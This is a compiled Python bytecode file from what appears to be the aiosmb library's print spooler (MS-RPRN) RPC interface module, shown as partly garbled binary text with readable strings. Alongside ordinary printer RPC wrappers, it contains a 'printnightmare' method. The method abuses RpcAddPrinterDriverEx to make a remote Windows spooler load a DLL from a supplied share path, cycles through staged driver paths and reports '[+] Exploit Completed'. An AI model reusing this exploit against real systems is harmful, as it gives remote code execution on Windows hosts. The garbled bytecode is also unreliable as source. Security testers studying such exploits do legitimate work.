o
    j+                     @   s   d dl Z d dlmZ d dlmZ d dlmZmZ d dlm	Z	 d dl
Z
d dlmZmZmZmZmZmZmZmZ d dlmZ edd
dZG dd deZdS )    N)rprn)logger)InterfaceManagerInterfaceEndpoint)NULL)RPC_C_AUTHN_LEVEL_NONERPC_C_AUTHN_LEVEL_CONNECTRPC_C_AUTHN_LEVEL_CALLRPC_C_AUTHN_LEVEL_PKTRPC_C_AUTHN_LEVEL_PKT_INTEGRITYRPC_C_AUTHN_LEVEL_PKT_PRIVACYDCERPCExceptionRPC_C_AUTHN_GSS_NEGOTIATE)asynccontextmanagerTFc                 C  sN   t j| |dI d H \}}|r|z|V  W | I d H  d S | I d H  w )N)connect)RPRNRPCfrom_smbconnectionclose)
connection
auth_levelopenperform_dummyinstanceerr r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/dcerpc/v5/interfaces/rprnmgr.pyrprnrpc_from_smb   s   "r   c                       s   e Zd Z fddZedd Zedd Zdd Ze	e	e
jfd	d
Zde	de	fddZde	de	fddZdddZdddZde	dddfddZ  ZS )r   c                    s   t  || d| _i | _d S )Nr   )super__init__
handle_ctrprinter_handles)selfr   endpoint	__class__r   r   r      s   
zRPRNRPC.__init__c                 C   s"   t ddddtdt dddtdgS )Nncan_npz$12345678-1234-abcd-ef00-0123456789abz1.0z\spoolss)pipename	authlevelncacn_ip_tcp)r'   )r   r   clsr   r   r   	endpoints$   s   zRPRNRPC.endpointsc                 C   s
   t | |S N)r   )r   r"   r   r   r   create_instance+   s   
zRPRNRPC.create_instancec                    s   d S r,   r   r)   r   r   r   cleanup/   s   zRPRNRPC.cleanupc           	   
      s   z+t | j||||I d H \}}|d ur|| j}|  jd7  _|d | j|< |d fW S  tyB } z
d |fW  Y d }~S d }~ww )N   pHandle)r   hRpcOpenPrinterdcer   r    	Exception)	r!   printerName	pDatatypepDevModeContaineraccessRequiredrespr   	handle_noer   r   r   open_printer2   s   
zRPRNRPC.open_printerr   c           
   
      t   z"| j | }tj| j||||||dI d H \}}|d ur||d fW S  ty9 }	 z
d |	fW  Y d }	~	S d }	~	ww N)
fdwOptionspszLocalMachinedwPrinterLocalpOptions)r    r   .hRpcRemoteFindFirstPrinterChangeNotificationExr2   r3   
r!   handlefdwFlagsr>   r?   r@   rA   r8   r   r:   r   r   r   rB   ?   &   
	
z6RPRNRPC.hRpcRemoteFindFirstPrinterChangeNotificationExc           
   
      r<   r=   )r    r   ,hRpcRemoteFindFirstPrinterChangeNotificationr2   r3   rC   r   r   r   rG   R   rF   z4RPRNRPC.hRpcRemoteFindFirstPrinterChangeNotification    c              
      s|   z&|d dkr|d7 }t | j|||I d H \}}|d ur#d |fW S |d fW S  ty= } z
d |fW  Y d }~S d }~ww )N )r   hRpcEnumPrinterDriversr2   r3   )r!   environmentslevelnamedriversr   r:   r   r   r   enum_driverse   s   

zRPRNRPC.enum_driversWindows x64c              
      s   z7| j |ddI d H \}}|d urd |fW S |D ]}tt|jjd }d|v r1|d f  W S qd tdfW S  tyN } z
d |fW  Y d }~S d }~ww )NrH   )rN   z\UNIDRV.DLLFileRepositoryzFailed to obtain driverpath)rQ   strpathlibPureWindowsPath
DriverPathparentr3   )r!   rM   rP   r   driverrW   r:   r   r   r   get_driverpathp   s   
zRPRNRPC.get_driverpathN1234Fc                    s  zO|d u r| j |dI d H \}}|d urd |fW S |d dkr%|d7 }|d dkr/|d7 }|d dkr9|d7 }|d dkrC|d7 }t }d|d< d|d d< d|d d	 d
< ||d d	 d< ||d d	 d< ||d d	 d< ||d d	 d< d|d d	 d< tjdB dB }	|dd }
tj| j|||	dI d H \}}|d ur||du rtd|d  d|d d	 d< tj| j|||	dI d H \}}|d ur||du rtd|d  t	ddD ]n}zJd||
|d d	 d< tj| j|||	dI d H \}}|d ur||du rtd|d |d f  |d dkr+|du r&td W  W d S W q t
yN } z|du rDtd|d |f  W Y d }~qd }~ww W d!S  t
yq } z|du rct  d |fW  Y d }~S d }~ww )"N)rM   rJ   rK   rH   Level
DriverInfotag   Level2cVersionpNamepEnvironmentpDriverPath	pDataFilez C:\Windows\System32\winhttp.dll pConfigFile   i   \)rb   pDriverContainerdwFileCopyFlagsFz[*] Stage 0: {0}	ErrorCodez#C:\Windows\System32\kernelbase.dll z[*] Stage 1: {0}r/      z4C:\Windows\System32\spool\drivers\x64\3\old\{0}\{1} z[*] Stage %s: %sr   z[+] Exploit Completed)TN)FN)rZ   r   DRIVER_CONTAINERAPD_COPY_ALL_FILESsplithRpcAddPrinterDriverExr2   printformatranger3   	traceback	print_exc)r!   share
driverpathrD   rM   rO   silentr   container_infoflagsfilenamer8   ir:   r   r   r   printnightmare   s|   






zRPRNRPC.printnightmare)rH   rI   )rR   )__name__
__module____qualname__r   classmethodr+   staticmethodr-   r.   r   r   SERVER_READr;   rB   rG   rQ   rZ   r}   __classcell__r   r   r#   r   r      s    



r   )NTF)rt   aiosmb.dcerpc.v5r   aiosmbr   aiosmb.dcerpc.v5.interfacesr   r   aiosmb.dcerpc.v5.dtypesr   rU   aiosmb.dcerpc.v5.rpcrtr   r   r	   r
   r   r   r   r   
contextlibr   r   r   r   r   r   r   <module>   s    (
